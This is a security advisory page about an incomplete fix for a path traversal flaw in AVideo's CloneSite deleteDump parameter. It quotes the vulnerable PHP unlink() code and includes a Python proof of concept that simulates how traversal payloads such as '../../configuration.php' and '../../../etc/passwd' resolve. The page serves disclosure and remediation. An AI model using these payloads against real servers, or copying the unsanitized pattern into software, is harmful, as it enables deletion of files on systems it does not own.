Medium

WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal

  • Disclosed: 14.04.2026
  • Updated: 11.10.2026 10:22

Summary

The incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 941decd6d19e
  • Patched versions: >= commit 941decd6d19e

Details

At line 44-48 of cloneServer.json.php (pre-fix):

php
if (!empty($_GET['deleteDump'])) {
    $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
    $resp->msg = "Delete Dump {$_GET['deleteDump']}";
    die(json_encode($resp));
}

No basename(), no realpath() check, no path traversal filtering. $_GET['deleteDump'] is concatenated directly with $clonesDir.

The vulnerable code has zero protection against path traversal:

  • No basename() to strip directory components
  • No realpath() to validate the final path
  • No check that resolved path is within $clonesDir
  • No ../ sanitization
  • Additionally, exec() calls with mysqldump pass credentials on the command line

PoC

python
"""
CVE-2026-33293 - AVideo CloneSite Path Traversal
"""

import sys
import os

VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php")

def verify_source_file():
    if not os.path.isfile(VULN_SRC):
        print("ERROR: Source not found at %s" % VULN_SRC)
        sys.exit(1)
    with open(VULN_SRC, "r") as f:
        src = f.read()
    if "unlink(" not in src or "deleteDump" not in src:
        print("ERROR: Expected patterns not found")
        sys.exit(1)
    return src

def vulnerable_delete_path(clones_dir, delete_dump):
    return clones_dir + delete_dump

def test_path_traversal():
    clones_dir = "/var/www/html/AVideo/videos/clones/"
    payloads = [
        ("../../configuration.php", "Delete site configuration"),
        ("../../../etc/passwd", "Delete system file"),
        ("../../.htaccess", "Delete .htaccess"),
    ]

    print("Testing path traversal via deleteDump parameter:")
    print("Base clones_dir: %s" % clones_dir)
    print()

    all_traversal = True
    for payload, desc in payloads:
        resolved = vulnerable_delete_path(clones_dir, payload)
        real_resolved = os.path.normpath(resolved)
        escaped = not real_resolved.startswith(os.path.normpath(clones_dir))

        if escaped:
            print("[+] TRAVERSAL: %s" % desc)
            print("    Payload: deleteDump=%s" % payload)
            print("    unlink() target: %s" % resolved)
            print("    Normalized: %s" % real_resolved)
        else:
            all_traversal = False

    return all_traversal

def main():
    print("=" * 70)
    print("CVE-2026-33293: AVideo CloneSite Path Traversal PoC")
    print("=" * 70)
    print()

    src = verify_source_file()
    print("[+] Source file verified: %s" % VULN_SRC)

    for line in src.split('\n'):
        if 'unlink(' in line and 'deleteDump' in line:
            print("[+] Vulnerable line: %s" % line.strip())
            break
    print()

    if test_path_traversal():
        print("\nVULNERABILITY CONFIRMED")
        sys.exit(0)
    else:
        print("\nVULNERABILITY NOT CONFIRMED")
        sys.exit(1)

if __name__ == "__main__":
    main()
bash
python3 poc.py

Steps to reproduce:

  1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test
  2. cd /tmp/AVideo_test && git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1
  3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
The deleteDump parameter passes unsanitized path traversal sequences (../../) directly to unlink(), enabling arbitrary file deletion.

Impact

An attacker can delete arbitrary files on the server. Deleting configuration.php takes the site offline. Deleting .htaccess exposes protected directories. Deleting system files can affect other services.

Suggested Remediation

Use basename($_GET['deleteDump']) to strip directory components. Validate that realpath() of the final path is within $clonesDir. Validate file extension. Add authentication checks.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package wwbn/avideo <= 29.0 no fix

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness (CWE)
CWE-22
Platform
Composer
Package
wwbn/avideo
Disclosed
14.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-5879-4fmr-xwf2 - CC BY 4.0

Vulnerability history: wwbn/avideo

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (160) in the archive
Total entries
160
First → latest
04.2022 06.2026
Without a fix
143
Exploited in attacks
0

Severity breakdown

  • Critical 14
  • High 61
  • Medium 83
  • Low 2

Disclosures per year

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Severity:
  1. High · 9.8 CVE-2026-41304 <= 29.0 no fix
  2. WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal this entry
    Medium · 8.1 CVE-2026-41058 <= 29.0 no fix
Show more (20) Showing 20 of 76

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